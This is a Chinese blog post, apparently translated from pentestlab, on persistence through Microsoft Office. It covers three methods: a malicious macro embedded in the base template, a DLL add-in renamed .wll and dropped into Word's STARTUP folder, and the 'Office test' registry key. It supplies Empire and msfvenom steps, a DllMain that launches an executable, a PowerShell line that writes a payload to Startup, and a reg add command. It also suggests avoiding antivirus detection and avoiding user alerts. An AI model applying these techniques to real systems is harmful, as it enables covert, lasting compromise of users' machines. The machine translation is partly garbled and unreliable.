利用 Microsoft Office 来进行系统权限维持

Microsoft Office是Windows操作系统中操作系统最多使用的产品,完成每日的工作,例如HR筛选简历,销售人员编写的标书,汇报工作编写演示文稿等。

办公室模板

对于企业而言,都喜欢使用统一的模板文件,在每次启动时Office软件时加载模板,模板文件存储在下面的位置:

C:\ Users \ pentestlab \ AppData \ Roaming \ Microsoft \ Templates

利用 Microsoft Office 来进行系统权限维持

如果恶意宏嵌入到基础模板中,用户在每次启动Office软件时,都执行一下恶意的宏代码,可以使用PowerShell Empire中的模块生成宏代码:

usestager windows / macro 设置监听器http 执行

利用 Microsoft Office 来进行系统权限维持

生成的宏可以直接插入到模板文档中,对代码进行替换可以绕过一些防病毒的检测:

当用户打开模板文件时,执行Office宏代码,可以看到目标连接的会话:

利用 Microsoft Office 来进行系统权限维持

外部插件

Office外部插件用于扩展Office程序的功能。当Office应用程序启动时,重置存储外部插件的文件夹进行检查,杀死应用程序加载它们。执行以下命令来发现Microsoft Word的可信位置,也可以删除外部插件。

Get-ChildItem“ hkcu:\ Software \ Microsoft \ Office \ 16.0 \ Word \ Security \受信任的位置”

Office的外部插件是DLL文件,扩展名不同,表示使用不同的应用程序,例如 .wll 代表Word,.xll 代表Excel。MetasploitFramework的“ msfvenom”可用于创建可被使用的DLL文件,然后将扩展名修改为“ .wll ”(Word插件程序的扩展名),插入文件移动到Word启动文件夹,每次Word启动时执行外部插件:

C:\ Users \ Admin \ AppData \ Roaming \ Microsoft \ Word \ STARTUP

代码执行后,meterpreter会得到一个回连Session,但是单词会崩溃,这对于用户来说能够知道,单词可能被人破坏或修改,容易引起用户的警觉:

最好的方法是创建一个不会导致应用程序崩溃的自定义DLL文件

DLL_PROCESS_ATTACH 可以把DLL加载到当前进程的虚拟地址空间(Word,Excel,PowerPoint等),DLL一旦被加载,就可以启动任意重置的文件:

// dllmain.cpp : Defines the entry point for the DLL application.#include "pch.h"#include <stdlib.h> BOOL APIENTRY DllMain( HMODULE hModule,                       
DWORD  ul_reason_for_call,                       
LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        system("start pentestlab32.exe");    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}
利用 Microsoft Office 来进行系统权限维持

Word加载项具有“ .wll ”文件的扩展名,本质上是放置在Word启动文件夹中的DLL文件,每次Mi​​crosoft Word启动时都会加载:

C:\ Users \ Admin \ AppData \ Roaming \ Microsoft \ Word \ STARTUP

下次Word启动时,将加载DLL程序,并执行恶意文件:

还有一个Powershell版本的脚本,可以生成相关文件(WLL,XLL,VBA)。被这些文件复制到Word,Excel或PowerPoint的启动文件夹中:

下载地址:

https://github.com/3gstudent/Office-Persistence

使用方法:

利用 Microsoft Office 来进行系统权限维持

默认情况下,脚本生成的程序主要是用作替换计算器,用户验证持久化的能力:

$fileContentBytes = [System.Convert]::FromBase64String($fileContent) [System.IO.File]::WriteAllBytes($env:APPDATA+"\Microsoft\Word\Startup\calc.wll",$fileContentBytes)

办公测试

在注册表中创建一个注册表项,在Office软件启动时,会自动加载该注册表项中指定的DLL文件,创建命令如下:

reg添加“ HKEY_CURRENT_USER \ Software \ Microsoft \ Office test \ Special \ Perf” / t REG_SZ / d C:\ tmp \ pentestlab.dll

该命令将创建以下注册表结构:

利用 Microsoft Office 来进行系统权限维持

当Microsoft Office应用程序再次启动时,DLL被执行:

文章翻译来源:pentestlab



发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注